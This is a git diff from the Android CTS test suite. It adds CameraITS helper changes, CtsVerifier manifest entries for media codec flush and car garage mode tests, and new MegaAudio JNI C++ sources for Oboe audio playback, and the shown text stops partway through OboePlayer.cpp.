Merge "CTS tests for start/stopProfile @SystemApi"
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index b34d2ad..a62610d 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -39,6 +39,7 @@
                       common/device-side/util/
                       hostsidetests/car/
                       hostsidetests/devicepolicy
+                      hostsidetests/graphics
                       hostsidetests/multiuser/
                       hostsidetests/scopedstorage/
                       hostsidetests/stagedinstall/
@@ -46,3 +47,7 @@
                       tests/tests/packageinstaller/atomicinstall/
 
 ktlint_hook = ${REPO_ROOT}/prebuilts/ktlint/ktlint.py -f ${PREUPLOAD_FILES}
+
+splits_native_libs_hook = ${REPO_ROOT}/cts/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
+                          ${PREUPLOAD_FILES}
+
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index ddb3c95..9c228d3 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -410,6 +410,19 @@
             "android.edge.availableEdgeModes") and mode \
             in props["android.edge.availableEdgeModes"];
 
+def tonemap_mode(props, mode):
+    """Returns whether a device supports the tonemap mode.
+
+    Args:
+        props: Camera properties object.
+        mode: Integer, indicating the tonemap mode to check for availability.
+
+    Return:
+        Boolean.
+    """
+    return props.has_key(
+            "android.tonemap.availableToneMapModes") and mode \
+            in props["android.tonemap.availableToneMapModes"];
 
 def lens_calibrated(props):
     """Returns whether lens position is calibrated or not.
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index c71ef24..23c8734 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -106,6 +106,7 @@
         if not self.xnorm:
             with its.device.ItsSession(camera_id) as cam:
                 props = cam.get_camera_properties()
+                props = cam.override_with_hidden_physical_camera_props(props)
                 if its.caps.read_3a(props):
                     self.locate(cam, props)
                 else:
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 9806359..2e2c775 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -449,6 +449,7 @@
                 self._hidden_physical_id, self._camera_id)
             assert self._hidden_physical_id in physical_ids, e_msg
             props = self.get_camera_properties_by_id(self._hidden_physical_id)
+            self.props = props
         return props
 
     def get_camera_properties(self):
diff --git a/apps/CameraITS/pymodules/its/target.py b/apps/CameraITS/pymodules/its/target.py
index 01d3c5f..8cf802c 100644
--- a/apps/CameraITS/pymodules/its/target.py
+++ b/apps/CameraITS/pymodules/its/target.py
@@ -191,9 +191,11 @@
         with its.device.ItsSession() as cam:
             exposure = get_target_exposure(cam)
             props = cam.get_camera_properties()
+            props = cam.override_with_hidden_physical_camera_props(props)
     else:
         exposure = get_target_exposure(its_session)
         props = its_session.get_camera_properties()
+        props = its_session.override_with_hidden_physical_camera_props(props)
 
     sens_range = props['android.sensor.info.sensitivityRange']
     exp_time_range = props['android.sensor.info.exposureTimeRange']
diff --git a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
index 45a5b13..261eed1 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
@@ -39,7 +39,8 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props))
+                             its.caps.per_frame_control(props) and
+                             its.caps.tonemap_mode(props, 0))
 
         debug = its.caps.debug_mode()
         largest_yuv = its.objects.get_largest_yuv_format(props)
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index d8acb2a..cc117be 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -26,7 +26,7 @@
 import numpy as np
 
 JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
-                     [255, 235]]
+                     [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
 JPEG_DHT_MARKER = [255, 196]  # JPEG Define Huffman Table
 JPEG_DQT_MARKER = [255, 219]  # JPEG Define Quantization Table
 JPEG_DQT_TOL = 0.8  # -20% for each +20 in jpeg.quality (empirical number)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 67f3806..7ca6e24 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -279,8 +279,8 @@
         dist_y = abs(child_shape['cty']-prt_shape['cty'])
         # 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
         # 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
-        # 3. Child's width > 0.1*Image width
-        # 4. Child's height > 0.1*Image height
+        # 3. Child's width > 0.075*Image width
+        # 4. Child's height > 0.075*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
         # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
@@ -288,8 +288,8 @@
                     < prt_shape['width'] * 0.76
                     and prt_shape['height'] * 0.56 < child_shape['height']
                     < prt_shape['height'] * 0.76
-                    and child_shape['width'] > 0.1 * size[1]
-                    and child_shape['height'] > 0.1 * size[0]
+                    and child_shape['width'] > 0.075 * size[1]
+                    and child_shape['height'] > 0.075 * size[0]
                     and 0.30 * prt_area < child_area < 0.50 * prt_area
                     and img_bw[child_shape['cty']][child_shape['ctx']] == 0
                     and img_bw[child_shape['top']][child_shape['left']] == 255
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index 890cf12..e641718 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -50,6 +50,7 @@
                 "\nThe scene setup should be: " + scene_desc )
         # Converge 3A prior to capture.
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
         cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
                   lock_awb=its.caps.awb_lock(props))
         req = its.objects.fastest_auto_capture_request(props)
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 69ef63f..a8d35b4 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -39,6 +39,7 @@
         "CtsCameraUtils",
         "androidx.legacy_legacy-support-v4",
         "CtsForceStopHelper-constants",
+        "ctsmediautil",
     ],
 
     libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
@@ -49,6 +50,7 @@
         "libctsverifier_jni",
         "libctsnativemidi_jni",
         "libaudioloopback_jni",
+        "libmegaaudio_jni",
     ],
 
     optimize: {
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 6b27940..09474a8 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1877,6 +1877,17 @@
                            android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".tunnelmode.MediaCodecFlushActivity"
+                android:label="@string/media_codec_flush"
+                android:exported="true"
+                android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tunnel" />
+        </activity>
+
         <!-- FeatureSummaryActivity is replaced by CTS SystemFeaturesTest
         <activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary"
             android:exported="true">
@@ -4872,6 +4883,20 @@
             </intent-filter>
         </activity-alias>
 
+        <service android:name=
+            "com.android.cts.verifier.car.GarageModeChecker"
+            android:permission="android.permission.BIND_JOB_SERVICE" />
+        <activity android:name=".car.GarageModeTestActivity"
+                android:label="@string/car_garage_mode_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
         <activity-alias android:name=".car.CarDockActivity2"
             android:targetActivity=".car.CarDockActivity"
                 android:exported="true"
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index ad09fb5..3977c79 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -2,11 +2,13 @@
     name: "libaudioloopback_jni",
     srcs: [
         "jni-bridge.cpp",
-        "NativeAudioAnalyzer.cpp",
+        "NativeAudioAnalyzer.cpp"
     ],
     include_dirs: [
         "frameworks/av/media/ndk/include",
         "system/core/include/cutils",
+        "cts/apps/CtsVerifier/jni/megaaudio/player",
+        "cts/apps/CtsVerifier/jni/megaaudio/recorder"
     ],
     header_libs: ["jni_headers"],
     shared_libs: [
@@ -18,6 +20,7 @@
     cflags: [
         "-Werror",
         "-Wall",
+        "-Wno-unused-parameter",
         // For slCreateEngine
         "-Wno-deprecated",
     ],
diff --git a/apps/CtsVerifier/jni/megaaudio/Android.bp b/apps/CtsVerifier/jni/megaaudio/Android.bp
new file mode 100644
index 0000000..3c84334
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libmegaaudio_jni",
+    srcs: [
+        "common/OboeStream.cpp",
+        "common/StreamBase.cpp",
+        "player/NativeAudioSource.cpp",
+        "player/NoiseAudioSource.cpp",
+        "player/OboePlayer.cpp",
+        "player/SinAudioSource.cpp",
+        "player/WaveTableSource.cpp",
+        "recorder/AppCallbackAudioSink.cpp",
+        "recorder/DefaultAudioSink.cpp",
+        "recorder/NativeAudioSink.cpp",
+        "recorder/OboeRecorder.cpp",
+    ],
+    sdk_version: "current",
+    stl: "libc++_static",
+    header_libs: ["jni_headers"],
+    include_dirs: [
+        "cts/apps/CtsVerifier/jni/megaaudio/common",
+        "external/oboe/include",
+    ],
+    shared_libs: [
+        "liblog",
+        "libOpenSLES",
+    ],
+    static_libs: [
+        "oboe",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
new file mode 100644
index 0000000..c2dad94
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include <oboe/Oboe.h>
+
+#include "OboeStream.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+StreamBase::Result OboeStream::OboeErrorToMegaAudioError(oboe::Result oboeError) {
+
+    StreamBase::Result maErr = ERROR_UNKNOWN;
+
+    switch (oboeError) {
+        case oboe::Result::OK:
+            maErr = OK;
+            break;
+        case oboe::Result::ErrorInternal:
+            maErr = ERROR_UNKNOWN;
+            break;
+        case oboe::Result::ErrorClosed:
+            maErr = ERROR_INVALID_STATE;
+            break;
+        default:
+            maErr = ERROR_UNKNOWN;
+            break;
+    }
+
+    return maErr;
+}
+
+StreamBase::Result OboeStream::teardownStream() {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+    return teardownStream_l();
+}
+
+StreamBase::Result OboeStream::teardownStream_l() {
+    // tear down the player
+    if (mAudioStream == nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        oboe::Result result = oboe::Result::OK;
+        result = mAudioStream->stop();
+        if (result == oboe::Result::OK) {
+            result = mAudioStream->close();
+        }
+        mAudioStream = nullptr;
+        return OboeErrorToMegaAudioError(result);
+    }
+}
+
+StreamBase::Result OboeStream::startStream() {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "startStream()");
+
+    // Don't cover up (potential) bugs in AAudio
+    oboe::OboeGlobals::setWorkaroundsEnabled(false);
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        result = mAudioStream->requestStart();
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "requestStart failed. Error: %s", convertToText(result));
+
+            // clean up
+            teardownStream_l();
+        }
+    }
+    mStreamStarted = result == oboe::Result::OK;
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeStream::stopStream() {
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    Result errCode = ERROR_UNKNOWN;
+    if (mAudioStream == nullptr) {
+        errCode = ERROR_INVALID_STATE;
+    } else {
+        oboe::Result result = mAudioStream->stop();
+        mStreamStarted = false;
+
+        errCode = OboeErrorToMegaAudioError(result);
+    }
+
+    mStreamStarted = false;
+    return errCode;
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
new file mode 100644
index 0000000..a622ddd
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_OBOESTREAM_H
+#define MEGA_COMMON_OBOESTREAM_H
+
+#include <cstdint>
+#include <mutex>
+
+#include <StreamBase.h>
+
+class OboeStream: public StreamBase {
+public:
+    static Result OboeErrorToMegaAudioError(oboe::Result oboeError);
+
+    virtual Result teardownStream() override;
+
+    virtual Result startStream() override;
+    virtual Result stopStream() override;
+
+protected:
+    OboeStream(int32_t subtype) : mSubtype(subtype), mStreamStarted(false) {}
+
+    // determine native back-end to use.
+    // either SUB_TYPE_OBOE_DEFAULT, SUB_TYPE_OBOE_AAUDIO or SUB_TYPE_OBOE_OPENSL_ES
+    int32_t mSubtype;
+
+    // Oboe Audio Stream
+    std::shared_ptr<oboe::AudioStream>  mAudioStream;
+    bool    mStreamStarted;
+
+    std::mutex mStreamLock;
+
+    Result teardownStream_l();
+};
+
+#endif //MEGA_COMMON_OBOESTREAM_H
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
new file mode 100644
index 0000000..4339cbf
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
@@ -0,0 +1,19 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "StreamBase.h"
+
+//TODO Currently there are no, non-inline, non-pure-virtual methods of StreamBase.
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
new file mode 100644
index 0000000..fc34de8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_STREAMBASE_H
+#define MEGA_COMMON_STREAMBASE_H
+
+#include <cstdint>
+
+class AudioSink;
+
+class StreamBase {
+public:
+    //
+    // Error Codes
+    // These values must be kept in sync with the equivalent symbols in
+    // org.hyphonate.megaaudio.common.Streambase.java
+    //
+    enum Result {
+        OK = 0,
+        ERROR_UNKNOWN = -1,
+        ERROR_UNSUPPORTED = -2,
+        ERROR_INVALID_STATE = -3
+    };
+
+    StreamBase() :
+        mChannelCount(0),
+        mSampleRate(0),
+        mRouteDeviceId(ROUTING_DEVICE_NONE),
+        mBufferSizeInFrames(-1) {}
+    virtual ~StreamBase() {}
+
+    //
+    // Attributes
+    //
+    static const int32_t ROUTING_DEVICE_NONE    = -1;
+    int32_t getRoutedDeviceId() const { return mRouteDeviceId; }
+
+    int32_t getNumBufferFrames() const { return mBufferSizeInFrames; }
+
+    //
+    // State
+    //
+    /**
+     * Initializes the audio stream as specified, but does not start the stream. Specifically,
+     * concrete subclasses should do whatever initialization and resource allocation required
+     * such that the stream can be started (in startStream()) as quickly as possible.
+     *
+     * The expectation is that this method will be synchronous in concrete subclasses.
+     *
+     * @param channelCount  the number of channels in the audio data
+     * @param sampleRate the desired playback sample rate
+     * @param the device id of the device to route the audio to.
+     * @param a pointer to an AudioSource (subclass) object which will provide the audio data.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) = 0;
+
+    /**
+     * Deinitializes the stream.
+     * Concrete subclasses should stop the stream (is not already stopped) and deallocate any
+     * resources being used by the stream.
+     * The stream cannot be started again without another call to setupAudioStream().
+     *
+     * The expectation is that this method will be synchronous in concrete subclasses.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result teardownStream() = 0;
+
+    /**
+     * Begin the playback/recording process.
+     *
+     * In concrete subclasses, this may be either synchronous or asynchronous.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result startStream() = 0;
+
+    /**
+     * Stop the playback/recording process.
+     *
+     * In concrete subclasses, this may be either synchronous or asynchronous.
+     */
+    virtual Result stopStream() = 0;
+
+protected:
+    // Audio attributes
+    int32_t mChannelCount;
+    int32_t mSampleRate;
+    int32_t mRouteDeviceId;
+    int32_t mBufferSizeInFrames;
+
+    // from org.hyphonate.megaaudio.common.BuilderBase
+    static const int32_t SUB_TYPE_OBOE_AAUDIO       = 0x0001;
+    static const int32_t SUB_TYPE_OBOE_OPENSL_ES    = 0x0002;
+};
+
+#endif // MEGA_COMMON_STREAMBASE_H
+
diff --git a/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
new file mode 100644
index 0000000..20dd5b4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_AUDIOSOURCE_H
+#define MEGA_PLAYER_AUDIOSOURCE_H
+
+class AudioSource {
+public:
+    AudioSource() {}
+    virtual ~AudioSource() {}
+
+    static const int NUMCHANNELS_UNSPECIFIED = -1;
+    static const int NUMCHANNELS_ERROR = -2;
+    virtual int getNumChannels() { return NUMCHANNELS_UNSPECIFIED; }
+
+    // Encoding Constants (specific to MegaAudio)
+    static const int ENCODING_UNSPECIFIED = -1;
+    static const int ENCODING_ERROR = -2;
+    static const int ENCODING_UNINITIALIZED = 0;
+    static const int ENCODING_FLOAT = 1;
+    static const int ENCODING_PCM16 = 2;
+    static const int ENCODING_PCM24 = 3;
+    static const int ENCODING_PCM32 = 4;
+    virtual int getEncoding() { return ENCODING_UNSPECIFIED; };
+
+    /**
+     * Called before the stream starts to allow initialization of the source
+     * @param numFrames The number of frames that will be requested in each pull() call.
+     * @param numChans The number of channels in the stream.
+     */
+    virtual void init(int numFrames, int numChans) {}
+
+    /**
+     * Reset the stream to its beginning
+     */
+    virtual void reset() {}
+
+    /**
+     * Process a request for audio data.
+     * @param audioData The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return The number of frames actually generated. If this value is less than that
+     * requested, it may be interpreted by the player as the end of playback.
+     * Note that the player will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) = 0;
+};
+
+#endif // MEGA_PLAYER_AUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
new file mode 100644
index 0000000..1fdf2aa
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include "AudioSource.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_initN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr, jint num_frames, jint num_chans) {
+    sAudioBuffer = new float[num_frames * num_chans];
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_resetN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr) {
+    // TODO: implement reset()
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_pullN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr,
+        jfloatArray audio_data, jint num_frames, jint num_chans) {
+    AudioSource* audioSource = (AudioSource*)native_source_ptr;
+    int numFrames = audioSource->pull(sAudioBuffer, num_frames, num_chans);
+
+    // Convert to Java float[]
+    env->SetFloatArrayRegion(audio_data, 0, numFrames * num_chans, sAudioBuffer);
+
+    return numFrames;
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
new file mode 100644
index 0000000..6f6cad5
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <cstdlib>
+#include <ctime>
+
+#include "NoiseAudioSource.h"
+
+NoiseAudioSource::NoiseAudioSource() {
+    srand (static_cast <unsigned> (time(0)));
+}
+
+int NoiseAudioSource::pull(float* buffer, int numFrames, int numChans) {
+    int numSamples = numFrames * numChans;
+    for(int index = 0; index < numSamples; index++) {
+        buffer[index] = (float)((drand48() * 2.0) - 1.0);
+    }
+
+    return numFrames;
+}
+
+//
+// JNI
+//
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_com_android_smoke_megaplayer_sources_NoiseAudioSourceProvider_native_1getNativeSource(
+        JNIEnv *env, jobject thiz) {
+    return (jlong)new NoiseAudioSource;
+}
+
+}   // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
new file mode 100644
index 0000000..8bdb243
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_NOISEAUDIOSOURCE_H
+#define MEGA_PLAYER_NOISEAUDIOSOURCE_H
+
+#include "AudioSource.h"
+
+class NoiseAudioSource: public AudioSource {
+public:
+    NoiseAudioSource();
+
+    /**
+     * Fills the specified buffer with random noise.
+     * @return  The number of frames generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+};
+
+
+#endif // MEGA_PLAYER_NOISEAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
new file mode 100644
index 0000000..135f385
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
@@ -0,0 +1,182 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboePlayer.h"
+#include "WaveTableSource.h"
+
+#include "AudioSource.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboePlayer::OboePlayer(AudioSource* source, int subtype)
+ : Player(source, subtype)
+{}
+
+DataCallbackResult OboePlayer::onAudioReady(AudioStream *oboeStream, void *audioData,
+                                            int32_t numFrames) {
+    StreamState streamState = oboeStream->getState();
+    if (streamState != StreamState::Open && streamState != StreamState::Started) {
+        __android_log_print(ANDROID_LOG_ERROR, TAG, "  streamState:%d", streamState);
+    }
+    if (streamState == StreamState::Disconnected) {
+        __android_log_print(ANDROID_LOG_ERROR, TAG, "  streamState::Disconnected");
+    }
+
+    // memset(audioData, 0, numFrames * mChannelCount * sizeof(float));
+
+    // Pull the data here!
+    int numFramesRead = mAudioSource->pull((float*)audioData, numFrames, mChannelCount);
+    // may need to handle 0-filling if numFramesRead < numFrames
+
+    return numFramesRead != 0 ? DataCallbackResult::Continue : DataCallbackResult::Stop;
+}
+
